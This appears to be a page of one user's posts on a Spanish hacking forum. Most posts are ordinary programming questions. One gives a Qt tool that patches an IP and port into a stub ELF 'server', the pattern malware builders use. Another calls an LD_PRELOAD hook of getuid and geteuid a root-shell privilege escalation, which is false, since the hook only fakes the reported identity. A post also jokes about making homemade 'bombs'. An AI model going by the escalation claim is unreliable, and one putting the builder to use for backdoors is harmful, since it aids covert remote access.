elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7 8
11  Programación / Programación C/C++ / IDE para C++ 11? en: 28 Julio 2013, 19:55 pm
Bueno, pues alguien sabe de algún IDE que soporte completamente C++ 11?
12  Programación / Programación General / [C++ & Qt][Linux] Crear un builder en: 17 Julio 2013, 16:27 pm
Bueno, tal y como me han pedido, aquí pongo el código de un server builder en Qt para Linux.

Lo primero, el código del server:

Código
  1. #include <iostream>
  2. #include <iomanip>
  3.  
  4. static char ip[30] __asm__("__IP__") = "__IP__ here";
  5. static char port[30] __asm__ ("__PORT__") = "__PORT__ here";
  6.  
  7. int main(int argc, char **argv)
  8. {
  9.  
  10. std::cout << "ip address: " << std::hex << (void*) ip << std::endl;
  11. std::cout << "port address: " << std::hex << (void*) port << std::endl;
  12.  
  13. std::cout << "IP: " << ip << std::endl;
  14. std::cout << "Port: " << port << std::endl;
  15.  
  16.  
  17. /* ... */
  18.  
  19. return 0;
  20. }

Analicemos el código: tiene dos variables globales, para asegurarnos de que esas variables van a ser incluidas en la sección .data del ejecutable como símbolos. También nos aseguramos de que estos símbolos tengan el nombre que queramos ("__IP__" y "__PORT__") con la directiva de ensamblador.

Las cadenas que les asigno son para que se puedan ver en un editor hexadecimal.

Bien, ahora el builder, que se va encargar de que cuando ejecutemos el server, en esas dos variables estén la IP y el puerto.

mainwindow.hpp
Código
  1. #ifndef MAINWINDOW_HPP
  2. #define MAINWINDOW_HPP
  3.  
  4. #include <QMainWindow>
  5. #include <QWidget>
  6. #include <QVBoxLayout>
  7. #include <QLineEdit>
  8. #include <QPushButton>
  9.  
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <sys/stat.h>
  13. #include <sys/mman.h>
  14. #include <elf.h>
  15. #include <stdint.h>
  16. #include <cstring>
  17.  
  18. #include <iostream>
  19. #include <iomanip>
  20.  
  21. class MainWindow : public QMainWindow
  22. {
  23.    Q_OBJECT
  24.  
  25. public:
  26.    MainWindow(QWidget *parent = 0);
  27.    ~MainWindow();
  28.  
  29. public slots:
  30.    void onButton();
  31.  
  32. private:
  33.    QWidget     *centralWidget; // Central widget
  34.    QVBoxLayout *layout;        // Window's layout
  35.    QLineEdit   *ipEdit;        // Edit for the IP
  36.    QLineEdit   *portEdit;      // Edit for the port
  37.    QPushButton *button;        // Button to build the server
  38. };
  39.  
  40. #endif // MAINWINDOW_HPP

mainwindow.cpp
Código
  1. #include "mainwindow.hpp"
  2.  
  3. MainWindow::MainWindow(QWidget *parent)
  4.    : QMainWindow(parent)
  5. {
  6.    /* Constructor to build the GUI */
  7.  
  8.    centralWidget = new QWidget();
  9.    layout = new QVBoxLayout();
  10.  
  11.    ipEdit = new QLineEdit();
  12.    portEdit = new QLineEdit();
  13.  
  14.    button = new QPushButton("Build!");
  15.  
  16.    layout->addWidget(ipEdit);
  17.    layout->addWidget(portEdit);
  18.    layout->addWidget(button);
  19.  
  20.    centralWidget->setLayout(layout);
  21.    setCentralWidget(centralWidget);
  22.  
  23.    connect(button, SIGNAL(clicked()), this, SLOT(onButton()));
  24. }
  25.  
  26. MainWindow::~MainWindow()
  27. {
  28.    /* Delete reserved objects */
  29.  
  30.    delete ipEdit;
  31.    delete portEdit;
  32.    delete button;
  33.    delete layout;
  34.    delete centralWidget;
  35. }
  36.  
  37. void MainWindow::onButton()
  38. {
  39.    int fdIn, fdOut; // Input and output files
  40.  
  41.    fdIn = open("server", O_RDONLY); // Open input file
  42.  
  43.    struct stat st;
  44.    fstat(fdIn, &st); // Get input file size
  45.  
  46.    /* Map input file into memory */
  47.    void *map = mmap(0, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fdIn, 0);
  48.  
  49.    Elf32_Ehdr *hdr = (Elf32_Ehdr*) map; /* Get the ELF header,
  50.                                             that's at the start of the file*/
  51.  
  52.    /* Get pointer to the ELF sections */
  53.    Elf32_Shdr *sections = (Elf32_Shdr*) ((char*) map + hdr->e_shoff);
  54.  
  55.    /* Get pointer to the .shstrtab section content */
  56.    char *shStrTabData = (char*) map+sections[hdr->e_shstrndx].sh_offset;
  57.  
  58.    Elf32_Shdr tabs[2]; // First symtab, second strtab
  59.  
  60.  
  61.    /* Find and save .symtab and .strtab sections */
  62.    const char *sectionNames[] = {".symtab", ".strtab"};
  63.    for(int i=0; i<2; i++)
  64.    {
  65.        for(int j=0; j<hdr->e_shnum; j++)
  66.        {
  67.            if(!strcmp(shStrTabData+sections[j].sh_name, sectionNames[i]))
  68.            {
  69.                tabs[i] = sections[j];
  70.                break;
  71.            }
  72.        }
  73.    }
  74.  
  75.    //std::cout << ".symtab at offset " << std::hex << tabs[0].sh_offset << std::endl;
  76.    //std::cout << ".strtab at offset " << std::hex << tabs[1].sh_offset << std::endl;
  77.  
  78.    /* Get pointer to the .strtab section content */
  79.    char *strTabData = (char*) map + tabs[1].sh_offset;
  80.  
  81.    /* Get pointer to the symbols in the .symtab section */
  82.    Elf32_Sym *syms = (Elf32_Sym*) ((char*) map + tabs[0].sh_offset);
  83.  
  84.    Elf32_Sym toModify[2]; // First __IP__, second __PORT__
  85.  
  86.    const char *symbolNames[] = {"__IP__", "__PORT__"};
  87.  
  88.  
  89.    // Find and save the symbols we want to modify
  90.    for(int i=0; i<2; i++)
  91.    {
  92.        for(unsigned int j=0; j<(tabs[0].sh_size/sizeof(Elf32_Sym)); j++)
  93.        {
  94.            if(!strcmp(strTabData+syms[j].st_name, symbolNames[i]))
  95.            {
  96.                toModify[i] = syms[j];
  97.            }
  98.        }
  99.    }
  100.  
  101.    //std::cout << "__IP__ value: " << std::hex << toModify[0].st_value << std::endl;
  102.    //std::cout << "__PORT__ value: " << std::hex << toModify[1].st_value << std::endl;
  103.  
  104.    Elf32_Off ipOff, portOff;
  105.  
  106.  
  107.    /* Find symbols offsets: get symbol offset into the section that
  108.        contains the symbol: symbol_address - section_base_address; and then
  109.        add the offset of the section into the file                       */
  110.    ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
  111.            sections[toModify[0].st_shndx].sh_offset;
  112.  
  113.    portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
  114.            sections[toModify[1].st_shndx].sh_offset;
  115.  
  116.    //std::cout << "__IP__ section: " << shStrTabData+sections[toModify[0].st_shndx].sh_name << std::endl;
  117.    //std::cout << "__PORT__ section: " << shStrTabData+sections[toModify[1].st_shndx].sh_name << std::endl;
  118.  
  119.  
  120.    //std::cout << "__IP__ offset: " << std::hex << ipOff << std::endl;
  121.    //std::cout << "__PORT__ offset: " << std::hex << portOff << std::endl;
  122.  
  123.    // Put the text in the edit in the file at the offsets
  124.    strcpy((char*) map+ipOff, ipEdit->text().toStdString().c_str());
  125.    strcpy((char*) map+portOff, portEdit->text().toStdString().c_str());
  126.  
  127.  
  128.    /* Open output file and write the memory map to it */
  129.    fdOut = open("server-built", O_TRUNC|O_CREAT|O_WRONLY, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IROTH);
  130.  
  131.    write(fdOut, map, st.st_size);
  132.  
  133.    ::close(fdOut);
  134.  
  135.  
  136.    munmap(map, st.st_size);
  137.  
  138.    ::close(fdIn);
  139. }
  140.  

main.cpp
Código
  1. #include "mainwindow.hpp"
  2. #include <QApplication>
  3.  
  4. int main(int argc, char *argv[])
  5. {
  6.    QApplication a(argc, argv);
  7.    MainWindow w;
  8.    w.show();
  9.  
  10.    return a.exec();
  11. }

Lo primero, este último código funciona sólo para ejecutables de 32 bits, pero se puede portar fácilmente.

¿Cómo funciona?

Pues los ejecutables ELF suelen tener una tabla de strings con los nombres de todas las secciones (la sección .shstrtab). Con esa tabla, encontramos las secciones .symtab (la tabla de símbolos) y la .strtab (la tabla de strings de símbolos).

Comparando los nombres de cada símbolo con los que hay en la tabla, encotramos los dos que queremos modificar. No tenemos el offset de estos símbolos directamente, así que tenemos que hallarlo. Tenemos la dirección del símbolo una vez cargado en memoria, la sección en la que se encuentra este símbolo (y por tanto la dirección de esta sección en memoria y el offset de esta sección en el archivo); así que hacemos la siguiente cuenta:

        Dirección del símbolo - Dirección base de la sección + Offset de la sección en el archivo

Eso corresponde a esta parte del código:

Código
  1. ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
  2.           sections[toModify[0].st_shndx].sh_offset;
  3.  
  4.   portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
  5.           sections[toModify[1].st_shndx].sh_offset;

Luego escribimos el texto de los edits en el mapa de memoria en el offset de cada símbolo, de forma que cuando se carguen en memoria contengan esos datos, y nuestro server pueda conectar a la IP y por el puerto indicado.

Bueno, hace falta conocimiento del formato ELF para entender esto totalmente, así que más información aquí y también se pueden preguntar dudas.

Saludos!
13  Foros Generales / Sugerencias y dudas sobre el Foro / [Sugerencia] Ehn-Dev 2013 en: 13 Mayo 2013, 21:37 pm
Pues eso, la sugerencia sería volver a hacer un concurso como este: http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html

A ver que os parece.

Saludos.
14  Programación / Programación C/C++ / Cómo crear una "brecha" en un array en: 25 Abril 2013, 14:44 pm
Buenas, tengo una duda, a ver si me podeis ayudar:

 Tengo un array en memoria, y tengo que abrir un hueco de n bytes, en el offset m del array, desplazando los bytes del array desde la posición m hacia adelante, n posiciones cada uno.

Cómo se hace esto?

Tal vez la explicación es un tanto confusa, si no lo entendéis decidmelo.

Saludos!
15  Foros Generales / Foro Libre / Experimentos de Física y Química en: 14 Abril 2013, 17:48 pm
Bueno pues resulta que el viernes que viene tenemos una clase de una asignatura llamada "Métodos de Laboratorio", en la que hacemos experimentos de Física y Química, y el profesor nos ha dicho que la proxima clase podemos hacer los experimentos que queramos (excluyendo bombas y demas instrumentos que pongan en peligro la integridad fisica xD).

Asi que abro este post para que me propongais experimentos interesantes que se puedan realizar en un laboratorio de instituto.

Y tambien podeis proponer bombas y esas cosas, si no las hago en la clase tal vez las haga caseras.

Saludos!

PD: Con bombas no quiero decir bombas nucleares ni para cometer atentados, cosas razonables xD
16  Sistemas Operativos / Unix/Unix-Like / Instalar FreeBSD en disco duro externo en: 14 Abril 2013, 17:35 pm
Pues resulta que hace tiempo que quiero probar FreeBSD, pero no quiero arriesgarme a cargarme el disco duro de mi netbook, y quisiera saber si puedo instalar FreeBSD en un disco duro externo de 500 GB que tengo libre.

Saludos.
17  Programación / Programación C/C++ / [Aporte][C++11] Numeros aleatorios en: 23 Febrero 2013, 21:50 pm
Bueno ya que C++11 es bastante nuevo dejo este ejemplo de generacion de numeros aleatorios:

Código
  1. #include <iostream>
  2. #include <random>
  3. #include <cstdlib>
  4. #include <ctime>
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. std::mt19937 rng;
  9. std::srand(time(NULL));
  10. uint32_t seed = std::rand();
  11. rng.seed(seed);
  12.  
  13. uint32_t stats[10] = {0}, current;
  14.  
  15. std::cout << "*** Random number generation test ***" << std::endl;
  16.  
  17. std::uniform_int_distribution<uint32_t> uint_dist(0, 10);
  18.  
  19. for(size_t i=0; i<56000u; i++)
  20. {
  21.  current = uint_dist(rng);
  22.  stats[current-1]++;
  23.  std::cout << current << ' ' << std::endl;
  24. }
  25.  
  26. std::cout << "*** Number of times for each number ***" << std::endl;
  27.  
  28. size_t i=1;
  29. for(auto x : stats)
  30. {
  31.  std::cout << "$ " << i++ << '\t' << x << std::endl;
  32. }
  33.  
  34. std::cout << "*** End of the test ***" << std::endl;
  35.  
  36. return 0;
  37. }

Los resultados son bastante uniformes
18  Programación / Programación C/C++ / [Aporte][Mini-Tutorial] Conseguir una shell root en Linux (truco LD_PRELOAD) en: 17 Febrero 2013, 16:16 pm
Bien, pues estaba aburrido y me se me ocurrio que podia probar este viejo truco para ascender privilegios. Me funciono y he decidido hacer un pequeño tutorial como aporte.

Este metodo ha sido probado en un Ubuntu 12.04, y puede ser que en otros sistemas el linker no cargue las librerias de LD_PRELOAD primero si se usa con ejecutables setuid.

Materiales:

 - Un compilador de C (se usara gcc)
 - Una shell Unix (probado con bash)
 
1. LD_PRELOAD

LD_PRELOAD es una variable de entorno usada por el ld. ¿Como funciona? Pues si esta variable contiene la ruta de una libreria dinamica, el ld la cargara antes que las otras librerias requeridas por el programa, incluida la libc.

Esto hace que se puedan "sobreescribir" funciones, cambiando el comportamiento de algunos programas. Y esto es lo que vamos a hacer.

2. Accion

Lo que vamos a hacer es "sobreescribir" las funciones getuid y geteuid, para que retornen siempre 0 (indicando que somos root ;)).

Lo primero que tenemos que hacer es crear una libreria dinamica que sobreescriba estas funciones:

Código
  1. /* hook.c */
  2.  
  3. #include <sys/types.h>
  4.  
  5. uid_t getuid()
  6. {
  7. return 0;
  8. }
  9.  
  10. uid_t geteuid()
  11. {
  12. return 0;
  13. }

Compilamos:

Código:
$ gcc -c -fPIC hook.c -o libhook.o
$ gcc -shared -fPIC libhook.o -o libhook.so

Y ejecutamos el bash con LD_PRELOAD seteada:

Código:
$ LD_PRELOAD=ruta/a/libreria/libhook.so bash

Salida:

Código:
root@computer_name:~# whoami
root

Y voilà!

Bueno espero que les haya gustado, se esperan comentarios ;)

EDIT: Quiza pegue mas en Hacking Linux/Unix o en algun otro subforo, ponganlo donde quieran.
19  Foros Generales / Sugerencias y dudas sobre el Foro / Le pasa algo al foro? en: 15 Enero 2013, 15:53 pm
No se porque pero no puedo ver el foro correctamente  :-( Lo veo como si fuera una pagina de estilo basico, no tiene fondo, mas que blanco, y los enlaces y los botones aparecen simplemente escritos y subrayados.

El resto de paginas las veo bien, asi que en principio no parece ser un problema de mi navegador ni de mi ordenador  :huh:

A alguien mas le pasa?
20  Seguridad Informática / Análisis y Diseño de Malware / Malware mas alla de Windows. en: 11 Enero 2013, 21:38 pm
Bueno pues la pregunta es si tienen informacion sobre malware en plataformas que no sean Windows, articulos tecnicos, tutoriales, lo que sea seria bien recibido.

Saludos.

PD: Por cierto hay tan poca informacion sobre este tema que se podria poner un recopilatorio de posts que hablan de malware fuera de windows.
Páginas: 1 [2] 3 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines